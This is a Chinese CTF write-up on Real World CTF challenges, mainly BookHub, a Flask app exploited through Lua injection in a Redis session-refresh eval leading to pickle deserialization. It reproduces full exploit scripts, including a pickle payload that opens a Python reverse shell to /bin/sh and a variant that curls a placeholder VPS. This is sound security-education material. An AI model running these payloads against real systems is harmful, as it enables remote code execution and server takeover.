长亭出题,对不起签到失败.. 但不管怎么说学习一下吧,简单记录两道题
Advertisement
然后尝试扫目录 发现https://realworldctf.com/contest/5b5bc66832a7ca002f39a26b/www.zip
然后拿到flag
当然还有对uid进行注入然后拿到flag的..反正大概就是要有日平台的心态咯..
BookHub
去拿一下源码,发现是flask框架
然后发现view/user.py里面有一段eval,猜测代码执行
不过需要登录,查看登录代码
1 2 3 4 5 6 7 8 9 10 @user_blueprint.route('/login/' , methods=['GET' , 'POST' ] ) def login (): form = LoginForm(data=flask.request.data) if form.validate_on_submit(): user = User.query.filter_by(username=form.username.data).first() login_user(user, remember=form.remember_me.data) return flask.redirect(flask.url_for('book.admin' )) return flask.render_template('login.html' , form=form)
然后去跟LoginForm
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 class LoginForm (FlaskForm ): username = StringField('username' , validators=[DataRequired()]) password = PasswordField('password' , validators=[DataRequired()]) remember_me = BooleanField('remember_me' , default=False ) def validate_password (self, field ): address = get_remote_addr() whitelist = os.environ.get('WHITELIST_IPADDRESS' , '127.0.0.1' ) if not app.debug and not ip_address_in(address, whitelist): raise StopValidation(f'your ip address isn\'t in the {whitelist} .' ) user = User.query.filter_by(username=self .username.data).first() if not user or not user.check_password(field.data): raise StopValidation('Username or password error.' )
然后去看get_remote_addr()
1 2 3 4 5 6 7 8 9 def get_remote_addr (): address = flask.request.headers.get('X-Forwarded-For' , flask.request.remote_addr) try : ipaddress.ip_address(address) except ValueError: return None else : return address
然后我们去改xff,不过发现并不能通过ip验证,猜测是做了一层nginx反代过了xff
然后看到ip里面有一个公网ip:18.213.16.123,扫端口发现5000端口,上去之后发现是调试模式
但是发现可以refresh_session 那么我们继续看到eval的代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 def refresh_session (): """ delete all session except the logined user :return: json """ status = 'success' sessionid = flask.session.sid prefix = app.config['SESSION_KEY_PREFIX' ] if flask.request.form.get('submit' , None ) == '1' : try : rds.eval (rf''' local function has_value (tab, val) for index, value in ipairs(tab) do if value == val then return true end end return false end local inputs = {{ "{prefix} {sessionid} " }} local sessions = redis.call("keys", "{prefix} *") for index, sid in ipairs(sessions) do if not has_value(inputs, sid) then redis.call("del", sid) end end ''' , 0 ) except redis.exceptions.ResponseError as e: app.logger.exception(e) status = 'fail' return flask.jsonify(dict (status=status))
是个redis+session的反序列化 参考文章:https://www.leavesongs.com/PENETRATION/zhangyue-python-web-code-execute.html
然后sessionid可控,这里sessionid是拼接进去的,所以我们可以写入恶意代码
比如写个测试脚本
1 2 3 4 5 prefix='prefix' sessionid='asijdoasijdoasji",evailcode,"A' inputs=rf'{{ "{prefix} {sessionid} "}}' print (inputs)
然后就可以写入段evil代码
1 redis.call("set","bookhub:session:blacsheep",序列化之后的恶意代码)
然后改sessionid为blacsheep的时候就回去反序列化恶意代码,然后触发反弹shell
给个chamd5的exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 import requestsimport reimport jsonimport randomimport stringimport cPickleimport osimport urllibreq = requests.Session() DEBUG = 0 URL = "http://18.213.16.123:5000/" if not DEBUG else "http://127.0.0.1:5000/" def rs (n=6 ): return '' .join(random.sample(string.ascii_letters + string.digits, n)) class exp (object ): def __reduce__ (self ): listen_ip = "127.0.0.1" listen_port = 1234 s = 'python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("%s",%s));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);\'' % ( listen_ip, listen_port) return (os.system, (s,)) x = [{'_fresh' : False , '_permanent' : True , 'csrf_token' : '2f898d232024ac0e0fc5f5e6fdd3a9a7dad462e8' , 'exp' : exp()}] s = cPickle.dumps(x) if __name__ == '__main__' : payload = urllib.quote(s) yoursid = 'vvv' funcode = r"local function urlDecode(s) s = string.gsub(s, '%%(%x%x)', function(h) return string.char(tonumber(h, 16)) end) return s end" sid = '%s\\" } %s ' % (rs(6 ), funcode) + \ 'redis.call(\\"set\\",\\"bookhub:session:%s\\",\\urlDecode("%s\\")) inputs = { \"bookhub:session:%s\" } --' % ( yoursid, payload, yoursid) headers = { "Cookie" : 'bookhub-session="x%s"' % sid, "Content-Type" : "application/x-www-form-urlencoded" , 'X-CSRFToken' : 'ImY3NGI2MDcxNmQ5NmYwYjExZTQ4N2ZlYTMxNDg0ZGQ3NjA0MGU2OWIi.Dj9f9w.WL0VY6e2y6edFTh6QcOKo9DnzLw' , } res = req.get(URL + 'login/' , headers=headers) if res.status_code == 200 : html = res.content r = re.findall(r'csrf_token" type="hidden" value="(.*?)">' , html) if r: headers['X-CSRFToken' ] = r[0 ] data = {'submit' : '1' } res = req.post(URL + 'admin/system/refresh_session/' , data=data, headers=headers) if res.status_code == 200 : print (res.content) else : print (res.content) headers['Cookie' ] = 'bookhub-session=vvv' res = req.get(URL + 'admin/' , headers=headers) if res.status_code == 200 : print (res.content) else : print (res.content)
然后sky的脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 import cPickleimport osclass exp (object ): def __reduce__ (self ): s = """curl vps_ip:23333""" return (os.system,(s,)) e = exp() s = cPickle.dumps(e) s_bypass = "" for i in s: s_bypass +="string.char(%s).." %ord (i) evilcode = ''' redis.call("set","bookhub:session:skycool",%s) ''' %s_bypass[:-2 ]payload = ''' 6f17c248-ed0d-4d74-bba6-21b9342c854a",%s,"bookhub:session:skycool ''' %evilcodeprint payload.replace(" " ,"" )
写好之后访问以下login页面就可以获得反弹的shell